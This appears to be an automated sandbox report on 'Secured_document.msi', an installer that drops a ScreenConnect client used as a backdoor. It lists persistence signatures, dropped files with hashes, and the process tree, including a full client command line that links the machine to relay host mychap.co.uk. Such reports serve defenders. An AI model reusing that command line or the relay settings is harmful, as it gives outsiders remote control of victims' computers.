Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/08/2026, 12:29

General

  • Target
    Secured_document.msi
  • Size 9.5MB
  • Sample260818-ppdctatvdx
  • SHA256 3828bb23aa9334de9536a6e5bbd01fb8264d4a48f5c41ba519e1127d632ee8b5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Secured_document.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2424
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3288
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding EE8E50B575DEB85B37092868F38F5861 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1553.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240719453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5008
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4228
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 33A7785AD25BF79293D8CDE8BF2DCB6F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4208
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1EA723430FA7745E4155D5724570E1CD E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1824
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1064
    • C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=mychap.co.uk&p=8041&s=a66d8198-c652-483d-b569-4ab57d0f774e&k=BgIAAACkAABSU0ExAAgAAAEAAQBpwUzQTRgEw23irAS%2foLdbZg1g3mtg8CR4oKafscRoZ29YZPBByQK1je8RJXCwWfSbz6ZaDInUR4wXfRZr5%2bd5KIDJaUdwoYe5rpkD2B5HPXhEOzmLYB9JdKNIsKkALLIOqDiKC8AbUM8nO9f286E536ZtldiaTlo%2bAZ8UtOQloM3OT9W2NNqgfTT%2b%2b7DAbOd%2f8KsNrYHWTmGlNUp7bSlHE0B8kRQns3xa%2fhLEaVWfrAZDBUx6iw%2fRqR071WqTAAxzuXtnLo1bGKDhQ34hIZ69Q3cVwd94YOOQZwwbhHDqicekHTZltZ1jldROJ4CDDnvsXahLvXjaPvCoaP4uGGPS"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe" "RunRole" "0ed0f6e2-b5e0-4e42-bcf0-7079e190a667" "User"
        2⤵
        • Executes dropped EXE
        PID:4308

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596ccb.rbs

          • Path C:\Config.Msi\e596ccb.rbs
          • Size 214KB
          • SHA256 1f58f39fb69c0e27e5b31b85fac6586dd877bdb38a78b160fd533677c88f6c60
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\app.config
          • Size 1KB
          • SHA256 dc758aa2159cd63748771ad70690518bd0cb0661d4c28a871ae909260e08e9b9
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\system.config
          • Size 934B
          • SHA256 f6417324b212d0f1091d8c596e9fa6ffcddafd3426ca6f3618efac52e4daeb5b
          • MD5 SHA1 SHA512 TLSH

          MSI1553.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1553.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1553.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1553.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1553.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1553.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI740E.tmp

          • Path C:\Windows\Installer\MSI740E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e596cca.msi

          • Path C:\Windows\Installer\e596cca.msi
          • Size 9.5MB
          • SHA256 3828bb23aa9334de9536a6e5bbd01fb8264d4a48f5c41ba519e1127d632ee8b5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          jvwgmtub.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\jvwgmtub.newcfg
          • Size 560B
          • SHA256 fcc7745511a9f38659593412b215eb11e64f610e150f9f018a81460dc631d256
          • MD5 SHA1 SHA512 TLSH

          rwvapyjl.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\rwvapyjl.newcfg
          • Size 560B
          • SHA256 9e5f2d06b876eaea4a2fb1ed25c243ed87a0c170046acd3a0ed8950c71d00c70
          • MD5 SHA1 SHA512 TLSH

          tnc1dw2l.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\tnc1dw2l.newcfg
          • Size 560B
          • SHA256 0c9266698ded1be4920e872df0f03d14689eb68e8e0a332919c75a06696356f4
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\user.config
          • Size 560B
          • SHA256 94576f04df72c51c0cf3fb5a5eca17dd0d83f34566ab9570429baeea1dd8a4a8
          • MD5 SHA1 SHA512 TLSH

          z4olqv2g.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\z4olqv2g.newcfg
          • Size 560B
          • SHA256 db060bbf010dd2ab68b6441ff0a422d7ea67f6bb9336b7bf64c8787b2ca560d0
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 7e0562d42e733c28385f2e21dbe0154251974d769622f766acc425ca3be66612
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {1b41aff1-3c05-489c-a16d-b19b5751a529}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{1b41aff1-3c05-489c-a16d-b19b5751a529}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 1a0223e159f21fe842ae7842afb7824d5a42c5a2b90a9003e4e517cbca962573
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1704-86-0x0000000003F70000-0x0000000003FC0000-memory.dmp

          memory/1704-102-0x0000000003F30000-0x0000000003F71000-memory.dmp

          memory/1704-104-0x0000000004290000-0x0000000004365000-memory.dmp

          memory/1704-100-0x00000000040A0000-0x0000000004132000-memory.dmp

          memory/1704-73-0x0000000001400000-0x0000000001418000-memory.dmp

          memory/1704-98-0x0000000003FC0000-0x0000000003FF6000-memory.dmp

          memory/4308-112-0x000000001BA40000-0x000000001BACC000-memory.dmp

          memory/4308-111-0x0000000002AC0000-0x0000000002AF6000-memory.dmp

          memory/4308-116-0x000000001BFC0000-0x000000001C148000-memory.dmp

          memory/4308-117-0x0000000002A60000-0x0000000002A78000-memory.dmp

          memory/4308-118-0x0000000002B20000-0x0000000002B38000-memory.dmp

          memory/4308-119-0x000000001B550000-0x000000001B591000-memory.dmp

          memory/4308-113-0x000000001BC80000-0x000000001BE2C000-memory.dmp

          memory/4308-110-0x00000000009B0000-0x0000000000A48000-memory.dmp

          memory/4308-122-0x000000001CF10000-0x000000001D0DA000-memory.dmp

          memory/5008-22-0x00000000037F0000-0x00000000037FA000-memory.dmp

          memory/5008-18-0x00000000037B0000-0x00000000037DE000-memory.dmp

          memory/5008-26-0x00000000058E0000-0x000000000596C000-memory.dmp

          memory/5008-31-0x0000000006290000-0x000000000684A000-memory.dmp

          memory/5008-30-0x0000000005B20000-0x0000000005CCC000-memory.dmp